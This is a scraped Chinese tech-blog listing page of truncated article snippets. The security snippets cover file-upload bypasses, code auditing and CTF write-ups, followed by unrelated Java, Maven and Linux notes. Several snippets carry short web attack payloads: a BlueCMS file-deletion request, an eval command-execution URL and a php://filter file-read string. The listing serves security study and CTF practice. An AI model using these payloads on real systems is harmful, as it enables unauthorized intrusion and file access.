    一，文件上传漏洞原因由于网站要求，需要用户上传文件，图片，例如头像，保存简单文件上传下载，访问，如果我们将文件上传至web服务器上，并且可以访问到，那么就可以利用小马，对服务器进行操作，或者了解一些信息。因此在上传位置，代码会对上传文件进行检查，但不免会有漏洞，通过代码审计，可以得出网页漏洞。二，文件上传漏洞绕过方式前端验证绕过前端认证最容易绕过，我们将验证代码部份删除，或者将js函数返回值设为1
    
                    
    • 
                    
  • 国内网站安全测试6大步骤
                        红酒味蛋糕_
网络安全
                        
    网站安全测试目标：1.发现网络系统中存在的安全隐患和可能被入侵者利用的安全漏洞2.与黑客区别：·渗透测试是经过授权的·可控制的、非破坏性的方法3.宏观上的分类：·黑盒测试不了解目标详细信息的情况，模拟黑客攻击.·白盒测试完全了解,代码审计.·灰盒测试了解一部分东西.4.思路和细节名词解释漏洞POC验证漏洞存在的代码片段exploit利用(渗透攻击)exp(利用一个漏洞完整的程序)提权权限提升获取当
    
                    
    • 
                    
  • 代码审计：Bluecms v1.6
                        GKDf1sh
安全web安全代码复审
                        
    代码审计：Bluecmsv1.6漏洞列表如下(共计36个漏洞，附Exp，按时间顺序)：未完待续…1、user.php766行处存在任意文件删除漏洞Exp:``http://127.0.0.3/bluecms/user.php?act=edit_user_infoPost：face_pic3=2.php`elseif($act=='edit_user_info'){$user_id=intval($
    
                    
    • 
                    
  • 智能合约审计工具（一）——cloc界定审计的代码数量，审计难度。cloc，solidity metrics 使用的入门，细节与解答
                        zhuqiyua
区块链一些智能合约
                        
    为什么要界定源代码数量代码审计是一种评估软件代码质量、安全性和合规性的过程。在进行代码审计之前，先界定源代码的数量有以下几个原因：审计范围的确定：了解源代码的规模可以帮助审计团队确定审计的范围和深度，从而制定合理的审计计划。资源分配：源代码的数量直接影响到审计所需的时间和人力资源。大量的代码可能需要更多的时间来完成审计，因此需要合理分配审计资源。风险评估：源代码的规模可以作为评估项目风险的一个因素
    
                    
    • 
                    
  • python docker 镜像过大_【转】六种减小Docker镜像大小的方法
                        weixin_39627408
pythondocker镜像过大
                        
    转自P牛，vulnhub作者，擅长代码审计和漏洞挖掘，今天看到他的公众号发了一篇这个，正好平时自己的工作也有需求，整理记录如下。=========================================我从2017年做Vulhub开始，一直在和一个麻烦的问题做斗争：在编写Dockerfile的时候，如何减小dockerbuild生成的镜像大小？这篇文章就给大家总结一下我自己使用过的六种减小
    
                    
    • 
                    
  • 文件上传漏洞--Upload-labs--Pass10--双写绕过
                        给我杯冰美式
Web安全--文件上传漏洞web安全文件上传漏洞
                        
    一、什么是双写绕过顾名思义，双写绕过就是双写文件后缀名来进行绕过，如：test.php双写后为test.pphphp。通常情况下双写绕过用于绕过源代码中的str_ireplace()函数。二、双写绕过原理1、首先进行代码审计，源代码中有黑名单和str_ireplace()函数的联合使用，将黑名单中的敏感后缀名全部都进行了删除。这就会使我们上传的test.php上传后变成test.，这就会使Apac
    
                    
    • 
                    
  • 文件上传漏洞--Upload-labs--Pass09（在某些版本的靶场里是Pass10）--点+空格+点 绕过
                        给我杯冰美式
Web安全--文件上传漏洞文件上传漏洞web安全
                        
    一、什么是点+空格+点绕过顾名思义，将test.php改为test.php..，观察到后缀名php后多出了点+空格+点。那么点+空格+点是如何进行绕过的，在什么情况下可以使用，让我们结合题目讲解。二、代码审计1、查看题目源代码上半部分，题目采取黑名单，并且对Pass05-Pass07的题目中所出现的漏洞进行了有效修复，意味着我们不再能够使用点绕过/空格绕过/大小写绕过了。2、接着查看源代码下半部分
    
                    
    • 
                    
  • 文件上传漏洞--Upload-labs--Pass07--点绕过
                        给我杯冰美式
Web安全--文件上传漏洞文件上传漏洞web安全
                        
    一、什么是点绕过在Windows系统中，Windows特性会将文件后缀名后多余的点自动删除，在网页源码中，通常使用deldot()函数对点进行去除，若发现网页源代码中没有deldot()函数，则可能存在点绕过漏洞。通过点绕过漏洞，可以达到上传含有恶意代码的文件的目的。二、通关思路1、首先进行代码审计，发现网页源代码中缺少对点的处理，即deldot()函数，可以进行点绕过。2、上传test.php文
    
                    
    • 
                    
  • 【web | CTF】BUUCTF [网鼎杯 2020 青龙组]AreUSerialz
                        星盾网安
CTFphp
                        
    天命：php的序列化题目简直是玄学，既不能本地复现，也不能求证靶场环境天命：本地php是复现不了反序列化漏洞的，都不知道是版本问题还是其他问题天命：这题也是有点奇怪的，明明用字符串2也应该是可以，但偏偏就不行，神奇了进来题目先看到php代码审计，是反序列化漏洞先看进来入口的逻辑，判断是不是正常的ascii码字符，然后反序列化，可以忽略校验，都是正常的//校验你是不是ascii码里面的合法字符fun
    
                    
    • 
                    
  • [NSSCTF]-Web:[SWPUCTF 2021 新生赛]jicao解析
                        Clxhzg
Web前端android网络安全安全
                        
    先看网页php的题目，很简单明了。代码审计：include("flag.php")：包含flag.php文件，但是我们实际直接打开出不来flagjson_decode()：将json字符串解析转化为php变量$id=$_POST['id']：获取post请求中id的值并把它存到变量id中知识点：json字符串：由一系列键值对组成的字符串形如：{"name":"aa"#其中"name"为键，"aa"
    
                    
    • 
                    
  • [NSSCTF]-Web:[SWPUCTF 2021 新生赛]easyrce解析
                        Clxhzg
Web前端安全网络安全
                        
    先看网页代码审计：error_reporting(0);：关闭报错，代码的错误将不会显示highlight_file(__FILE__);：将当前文件的源代码显示出来eval($_GET['url']);：将url的值作为php代码执行解题：题目既然允许我们自己输入代码，那我们就先ls查看文件http://node5.anna.nssctf.cn:28422/?url=system('ls');注
    
                    
    • 
                    
  • 渗透测试练习题解析 3（CTF web）
                        安全不再安全
CTFweb前端安全网络安全web安全
                        
    1、[网鼎杯2020朱雀组]phpweb1考点：反序列化漏洞利用进入靶场，查看检查信息，发现存在两个参数func和p查看页面源代码payload：func=file_get_contents&p=php://filter/resource=index.php整理后，就是PHP代码审计了  func!=""){        echogettime($this->func,$this->p);   
    
                    
    • 
                    
  • 2022 UUCTF Web
                        葫芦娃42
比赛wpphpweb安全
                        
    目录Web(1)websign(禁用js绕过)(2)ez_rce(?>闭合`rce`)(3)ez_unser(引用传递)(4)ez_upload(apache后缀解析漏洞)(5)ezsql(union注入)(6)funmd5(代码审计%0a绕过preg_replace)(7)phonecode(伪随机数漏洞)(8)ezpop(反序列化字符串逃逸)(9)backdoor(tonyenc加密&IDA逆
    
                    
    • 
                    
  • ＜网络安全＞《25 工业脆弱性扫描与管理系统》
                        Ealser
#网络安全web安全安全工业脆弱性扫描与管理系统
                        
    1概念工业脆弱性扫描与管理系统以综合的漏洞规则库（本地漏洞库、ActiveX库、网页木马库、网站代码审计规则库等）为基础，采用深度主机服务探测、Web智能化爬虫、SQL注入状态检测、主机配置检查以及弱口令检查等方式相结合的技术，实现了将Web漏洞扫描、系统漏洞扫描、数据库漏洞扫描、基线配置核查、工控漏洞检查与弱口令扫描手、体的综合漏洞评估系统。2用户价值通过对各种流行攻击手段的分析整理，对漏洞提出
    
                    
    • 
                    
  • AWD-Test2
                        有搞头-CC
BUUCTFweb安全安全安全性测试前端sql
                        
    1.已知账号密码，可SSH连接进行代码审计。2.登录可万能密码进入，也可注册后登录。3.修改url参数，发现报错。确定为Linux系统4.写入一句话，并提交。（也可以文件上传，这里采用简洁的方法）//写入这个，在日志log.php可查看flag5.访问log.php日志文件，发现里面有flaghttp://efbc89f9-f04d-4204-b60b-65777640d4ef.node5.buu
    
                    
    • 
                    
  • 【代码审计-1】PHP无框架项目SQL注入
                        阿福超级胖
小迪安全笔记web安全
                        
    代码审计教学计划：审计项目漏洞Demo->审计思路->完整源码框架->验证并利用漏洞教学内容：PHP，JAVA网站应用，引入框架类开发源码，相关审计工具及插件使用必备知识点：环境安装搭建使用，相关工具插件安装使用，掌握前期各种漏洞原理及利用开始前准备：审计目标的程序名，版本，当前环境(系统,中间件,脚本语言等信息),各种插件等挖掘漏洞根本：可控变量及特定函数，不存在过滤或过滤不严谨存在绕过导致的安
    
                    
    • 
                    
  • 【代码审计-2】PHP框架MVC类文件上传断点测试挖掘
                        阿福超级胖
小迪安全笔记phpmvc开发语言
                        
    1.文件上传漏洞挖掘：(1)关键字搜索（函数、键字、全局变量等）：比如$_FILES，move_uploades_file等(2)应该功能抓包：寻找任何可能存在上传的应用功能点，比如前台会员中心，后台新闻添加等。(3)漏洞举例：逻辑漏洞-先上传文件再判断后缀名，通过MIME类型来判断文件类型、前端校验文件类型而服务端未校验。2.MVC开发框架类:模型Model–管理大部分的业务逻辑和所有的数据库逻
    
                    
    • 
                    
  • 【代码审计-3】PHP项目RCE及文件包含下载删除
                        阿福超级胖
小迪安全笔记php数据库mysql
                        
    漏洞关键字SQL注入：selectinsertupdatemysql_querymysqli等文件上传：$_FILES,type="file"，上传，move_upload_file()等XSS跨站：printprint_rechosprintfdievar_dumpvar_export等文件包含：Includeinclude_oncerequirerequire_once等代码执行：evalas
    
                    
    • 
                    
  • C++服务器端开发（9）:安全性考虑
                        Galaxy银河
C++更多语法计算机/人工智能c++开发语言
                        
    输入验证：C++服务器应该对所有的输入数据进行验证和过滤，以防止恶意用户输入造成的攻击，比如通过输入特殊字符来进行SQL注入或者跨站脚本攻击等。可以使用正则表达式、输入过滤和限制输入长度等方法来实现输入验证。代码审查：通过仔细审查服务器端的代码，查找潜在的漏洞和安全问题，如缓冲区溢出、空指针引用、代码注入等。及时修复漏洞和问题，并进行代码审计。认证和授权：服务器需要对用户进行认证和授权，以确保只有
    
                    
    • 
                    
  • 从多个基础CMS中学习代码审计
                        网安Dokii
学习网络安全
                        
    概念什么是代码审计？代码审计是在一个编程中对源代码旨在发现错误、安全漏洞或违反编程约定的项目。说人话就是找它这些代码中可能存在问题的地方，然后看它是否真的存在漏洞。(博主小白，可能存在问题，请见谅)分类代码审计的话大致分为三种，白盒、黑盒和灰盒白盒测试较为官方的定义已知产品的内部工作过程，可以进行测试证明每种内部操作是否符合设计规格要求，所有内部成分是否经过检查。其实这种测试的话就是你可以看到源代
    
                    
    • 
                    
  • IMF_1(VulbHub)_WriteUp
                        沫风港
综合渗透_靶场通关文档网络安全
                        
    目录1、主机探测2、web渗透发现flag1发现flag2拼接imfadministrator目录收集用户名代码审计之弱类型绕过发现flag3进入IMFCMS漏扫测试尝试跑sqlmap发现异常数据发现flag4继续访问uploadr942.php页面waf绕过(.htaccess绕过)发现flag5反弹shell3、内网渗透查找agent查看开启的端口情况查看/usr/local/bin下的文件敲
    
                    
    • 
                    
  • 小白代码审计入门
                        墨痕诉清风
WEB及系统安全知识安全web安全
                        
    最近小白一直在学习代码审计，对于我这个没有代码审计的菜鸟来说确实是一件无比艰难的事情。但是着恰恰应了一句老话：万事开头难。但是小白我会坚持下去。何况现在已经喜欢上了代码审计，下面呢小白就说一下appcms后台模板Getshell以及读取任意文件，影响的版本是2.0.101版本。其实这个版本已经不用了，小白也是拿这个来说一下自己理解的php的代码审计。开源的CMS就是舒服，不仅可以对最新版的来做代码
    
                    
    • 
                    
  • 42、WEB攻防——通用漏洞&文件包含&LFI&RFI&伪协议编码算法&代码审计
                        PT_silver
小迪安全前端算法
                        
    文章目录文件包含文件包含原理攻击思路文件包含分类sessionPHP伪协议进行文件包含文件包含文件包含原理文件包含其实就是引用，相当于C语言中的include。文件包含漏洞常出现于php脚本中，当include($file)中的$file变量用户可控，就造成了文件包含漏洞。**注意被包含的文件中只要存在php代码，就可以被php解释器解析，不受文件后缀名的影响。**例如?file=1.txt，1.
    
                    
    • 
                    
  • Java代码审计之RCE（远程命令执行）
                        mingzhi61
java代码审计开发语言java代码审计安全开发
                        
    Java代码审计系列课程（点我哦）漏洞原理：RCE漏洞，可让攻击者直接向后台服务器远程注入操做系统命令或者代码，从而控制后台系统。出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。而若是设计者在完成该功能时，没有作严格的安全控制，则可
    
                    
    • 
                                
  • jsonp 常用util方法
                                    hw1287789687
jsonpjsonp常用方法jsonp callback
                                    
    jsonp 常用java方法 
(1)以jsonp的形式返回:函数名(json字符串) 
/***
	 * 用于jsonp调用
	 * @param map : 用于构造json数据
	 * @param callback : 回调的javascript方法名
	 * @param filters : <code>SimpleBeanPropertyFilter theFilt
    
                                
    • 
                                
  • 多线程场景
                                    alafqq
多线程
                                    
    0 
能不能简单描述一下你在java web开发中需要用到多线程编程的场景？0 
对多线程有些了解，但是不太清楚具体的应用场景，能简单说一下你遇到的多线程编程的场景吗？ 
Java多线程 
2012年11月23日 15:41 Young9007 Young9007 
4 
0 0 4 
 
Comment添加评论关注(2) 
3个答案 按时间排序 按投票排序 
 
0 
0 
最典型的如： 
1、
    
                                
    • 
                                
  • Maven学习——修改Maven的本地仓库路径
                                    Kai_Ge
maven
                                    
          安装Maven后我们会在用户目录下发现.m2 文件夹。默认情况下，该文件夹下放置了Maven本地仓库.m2/repository。所有的Maven构件(artifact)都被存储到该仓库中，以方便重用。但是windows用户的操作系统都安装在C盘，把Maven仓库放到C盘是很危险的，为此我们需要修改Maven的本地仓库路径。 
  
 
    
                                
    • 
                                
  • placeholder的浏览器兼容
                                    120153216
placeholder
                                    
    【前言】 
自从html5引入placeholder后，问题就来了， 
不支持html5的浏览器也先有这样的效果， 
各种兼容，之前考虑，今天测试人员逮住不放， 
想了个解决办法，看样子还行，记录一下。 
  
【原理】 
不使用placeholder，而是模拟placeholder的效果， 
大概就是用focus和focusout效果。 
  
【代码】 
<scrip
    
                                
    • 
                                
  • debian_用iso文件创建本地apt源
                                    2002wmj
Debian
                                    
    1.将N个debian-506-amd64-DVD-N.iso存放于本地或其他媒介内，本例是放在本机/iso/目录下

2.创建N个挂载点目录  
如下： 
debian:~#mkdir –r /media/dvd1 
debian:~#mkdir –r /media/dvd2 
debian:~#mkdir –r /media/dvd3 
…. 
debian:~#mkdir –r /media
    
                                
    • 
                                
  • SQLSERVER耗时最长的SQL
                                    357029540
SQL Server
                                    
    对于DBA来说，经常要知道存储过程的某些信息： 
 
1.   执行了多少次 
 
2.   执行的执行计划如何 
 
3.   执行的平均读写如何 
 
4.   执行平均需要多少时间 
 
列名          &
    
                                
    • 
                                
  • com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil
                                    7454103
eclipse
                                    
    今天eclipse突然报了com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil 错误，并且工程文件打不开了，在网上找了一下资料，然后按照方法操作了一遍，好了，解决方法如下： 
 
错误提示信息： 
 
An error has occurred.See error log for more details. 
Reason: 
com/genuitec/
    
                                
    • 
                                
  • 用正则删除文本中的html标签
                                    adminjun
javahtml正则表达式去掉html标签
                                    
    使用文本编辑器录入文章存入数据中的文本是HTML标签格式，由于业务需要对HTML标签进行去除只保留纯净的文本内容，于是乎Java实现自动过滤。 
如下： 
public static String Html2Text(String inputString) {  
String htmlStr = inputString; // 含html标签的字符串
  String textSt
    
                                
    • 
                                
  • 嵌入式系统设计中常用总线和接口
                                    aijuans
linux 基础
                                    
                   嵌入式系统设计中常用总线和接口 
  
        任何一个微处理器都要与一定数量的部件和外围设备连接，但如果将各部件和每一种外围设备都分别用一组线路与CPU直接连接，那么连线
    
                                
    • 
                                
  • Java函数调用方式——按值传递
                                    ayaoxinchao
java按值传递对象基础数据类型
                                    
    Java使用按值传递的函数调用方式，这往往使我感到迷惑。因为在基础数据类型和对象的传递上，我就会纠结于到底是按值传递，还是按引用传递。其实经过学习，Java在任何地方，都一直发挥着按值传递的本色。 
  
首先，让我们看一看基础数据类型是如何按值传递的。 
  
public static void main(String[] args) {
		
	int a = 2;

    
                                
    • 
                                
  • ios音量线性下降
                                    bewithme
ios音量
                                    
    直接上代码吧 
  
//second 几秒内下降为0
- (void)reduceVolume:(int)second {
    KGVoicePlayer *player = [KGVoicePlayer defaultPlayer];
    
    if (!_flag) {
        _tempVolume = player.volume;
       
    
                                
    • 
                                
  • 与其怨它不如爱它
                                    bijian1013
选择理想职业规划
                                    
            抱怨工作是年轻人的常态，但爱工作才是积极的心态，与其怨它不如爱它。 
        一般来说，在公司干了一两年后，不少年轻人容易产生怨言，除了具体的埋怨公司“扭门”，埋怨上司无能以外，也有许多人是因为根本不爱自已的那份工作，工作完全成了谋生的手段，跟自已的性格、专业、爱好都相差甚远。 
  
    
                                
    • 
                                
  • 一边时间不够用一边浪费时间
                                    bingyingao
工作时间浪费
                                    
    一方面感觉时间严重不够用，另一方面又在不停的浪费时间。 
 
每一个周末，晚上熬夜看电影到凌晨一点，早上起不来一直睡到10点钟，10点钟起床，吃饭后玩手机到下午一点。 
精神还是很差，下午像一直野鬼在城市里晃荡。 
 
 
为何不尝试晚上10点钟就睡，早上7点就起，时间完全是一样的，把看电影的时间换到早上，精神好，气色好，一天好状态。 
控制让自己周末早睡早起，你就成功了一半。 
 
有多少个工作
    
                                
    • 
                                
  • 【Scala八】Scala核心二：隐式转换
                                    bit1129
scala
                                    
    Implicits work like this: if you call a method on a Scala object, and the Scala compiler does not see a definition for that method in the class definition for that object, the compiler will try to con
    
                                
    • 
                                
  • sudoku slover in Haskell (2)
                                    bookjovi
haskellsudoku
                                    
    继续精简haskell版的sudoku程序，稍微改了一下，这次用了8行，同时性能也提高了很多，对每个空格的所有解不是通过尝试算出来的，而是直接得出。 
  
board = [0,3,4,1,7,0,5,0,0,
         0,6,0,0,0,8,3,0,1,
         7,0,0,3,0,0,0,0,6,
         5,0,0,6,4,0,8,0,7,

    
                                
    • 
                                
  • Java-Collections Framework学习与总结-HashSet和LinkedHashSet
                                    BrokenDreams
linkedhashset
                                    
            本篇总结一下两个常用的集合类HashSet和LinkedHashSet。 
        它们都实现了相同接口java.util.Set。Set表示一种元素无序且不可重复的集合；之前总结过的java.util.List表示一种元素可重复且有序
    
                                
    • 
                                
  • 读《研磨设计模式》-代码笔记-备忘录模式-Memento
                                    bylijinnan
java设计模式
                                    
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 

import java.util.ArrayList;
import java.util.List;



/*
 * 备忘录模式的功能是，在不破坏封装性的前提下，捕获一个对象的内部状态，并在对象之外保存这个状态，为以后的状态恢复作“备忘”

    
                                
    • 
                                
  • 《RAW格式照片处理专业技法》笔记
                                    cherishLC
PS
                                    
    注意，这不是教程！仅记录楼主之前不太了解的 
 
 一、色彩（空间）管理 
作者建议采用ProRGB（色域最广），但camera raw中设为ProRGB，而PS中则在ProRGB的基础上，将gamma值设为了1.8（更符合人眼） 
注意：bridge、camera raw怎么设置显示、输出的颜色都是正确的（会读取文件内的颜色配置文件），但用PS输出jpg文件时，必须先用Edit->conv
    
                                
    • 
                                
  • 使用 Git 下载 Spring 源码 编译 for Eclipse
                                    crabdave
eclipse
                                    
    使用 Git 下载 Spring 源码 编译 for Eclipse 
  
1、安装gradle，下载 http://www.gradle.org/downloads 
配置环境变量GRADLE_HOME，配置PATH  %GRADLE_HOME%/bin，cmd，gradle -v 
  
2、spring4 用jdk8 下载 https://jdk8.java.
    
                                
    • 
                                
  • mysql连接拒绝问题
                                    daizj
mysql登录权限
                                    
    mysql中在其它机器连接mysql服务器时报错问题汇总 
 
一、[running][email protected]:~$mysql -uroot -h 192.168.9.108 -p   //带-p参数，在下一步进行密码输入 
Enter password:    //无字符串输入 
ERROR 1045 (28000): Access 
    
                                
    • 
                                
  • Google Chrome 为何打压 H.264
                                    dsjt
applehtml5chromeGoogle
                                    
    Google 今天在 Chromium 官方博客宣布由于 H.264 编解码器并非开放标准，Chrome 将在几个月后正式停止对 H.264 视频解码的支持，全面采用开放的 WebM 和 Theora 格式。 
 
Google 在博客上表示，自从 WebM 视频编解码器推出以后，在性能、厂商支持以及独立性方面已经取得了很大的进步，为了与 Chromium 现有支持的編解码器保持一致，Chrome
    
                                
    • 
                                
  • yii 获取控制器名 和方法名
                                    dcj3sjt126com
yiiframework
                                    
    1. 获取控制器名 
在控制器中获取控制器名:  $name = $this->getId(); 
在视图中获取控制器名:    $name = Yii::app()->controller->id;  
  
2. 获取动作名  
在控制器beforeAction()回调函数中获取动作名:  $name = 
    
                                
    • 
                                
  • Android知识总结（二）
                                    come_for_dream
android
                                    
    明天要考试了，速速总结如下 
  
1、Activity的启动模式 
       standard：每次调用Activity的时候都创建一个（可以有多个相同的实例，也允许多个相同Activity叠加。） 
       singleTop：可以有多个实例，但是不允许多个相同Activity叠加。即，如果Ac
    
                                
    • 
                                
  • 高洛峰收徒第二期：寻找未来的“技术大牛” ——折腾一年，奖励20万元
                                    gcq511120594
工作项目管理
                                    
    高洛峰，兄弟连IT教育合伙人、猿代码创始人、PHP培训第一人、《细说PHP》作者、软件开发工程师、《IT峰播》主创人、PHP讲师的鼻祖！ 
首期现在的进程刚刚过半，徒弟们真的很棒，人品都没的说，团结互助，学习刻苦，工作认真积极，灵活上进。我几乎会把他们全部留下来，现在已有一多半安排了实际的工作，并取得了很好的成绩。等他们出徒之日，凭他们的能力一定能够拿到高薪，而且我还承诺过一个徒弟，当他拿到大学毕
    
                                
    • 
                                
  • linux expect
                                    heipark
expect
                                    
    1. 创建、编辑文件go.sh 
  
#!/usr/bin/expect

spawn sudo su admin

expect  "*password*" { send "13456\r\n" }

interact  
   2. 设置权限 
   chmod u+x go.sh   3.
    
                                
    • 
                                
  • Spring4.1新特性——静态资源处理增强
                                    jinnianshilongnian
spring 4.1
                                    
    目录 
Spring4.1新特性——综述 
Spring4.1新特性——Spring核心部分及其他 
Spring4.1新特性——Spring缓存框架增强 
Spring4.1新特性——异步调用和事件机制的异常处理 
Spring4.1新特性——数据库集成测试脚本初始化 
Spring4.1新特性——Spring MVC增强 
Spring4.1新特性——页面自动化测试框架Spring MVC T
    
                                
    • 
                                
  • idea ubuntuxia 乱码
                                    liyonghui160com

                                    
        
1.首先需要在windows字体目录下或者其它地方找到simsun.ttf 这个 字体文件。 
2.在ubuntu 下可以执行下面操作安装该字体： 
sudo mkdir /usr/share/fonts/truetype/simsun
sudo cp simsun.ttf  /usr/share/fonts/truetype/simsun
fc-cache -f -v 

    
                                
    • 
                                
  • 改良程序的11技巧
                                    pda158
技巧
                                    
    有很多理由都能说明为什么我们应该写出清晰、可读性好的程序。最重要的一点，程序你只写一次，但以后会无数次的阅读。当你第二天回头来看你的代码 时，你就要开始阅读它了。当你把代码拿给其他人看时，他必须阅读你的代码。因此，在编写时多花一点时间，你会在阅读它时节省大量的时间。 
  
让我们看一些基本的编程技巧： 
  
 
 尽量保持方法简短 
 永远永远不要把同一个变量用于多个不同的
    
                                
    • 
                                
  • 300个涵盖IT各方面的免费资源（下）——工作与学习篇
                                    shoothao
创业免费资源学习课程远程工作
                                    
    工作与生产效率: 
  
 
 A. 背景声音 
 
 
  Noisli:背景噪音与颜色生成器。 
  Noizio:环境声均衡器。 
  Defonic:世界上任何的声响都可混合成美丽的旋律。 
  Designers.mx:设计者为设计者所准备的播放列表。 
  Coffitivity:这里的声音就像咖啡馆里放的一样。 
 
 
 B. 避免注意力分散 
 
 
  Self Co
    
                                
    • 
                                
  • 深入浅出RPC
                                    uule
rpc
                                    
    深入浅出RPC-浅出篇 
深入浅出RPC-深入篇 
  
RPC 
Remote Procedure Call Protocol 
远程过程调用协议 
  
它是一种通过网络从远程计算机程序上请求服务，而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在，如TCP或UDP，为通信程序之间携带信息数据。在OSI网络通信模型中，RPC跨越了传输层和应用层。RPC使得开发
    
                                
    • 
                

            

        

    




    

        

            按字母分类：
            ABCDEFGHIJKLMNOPQRSTUVWXYZ其他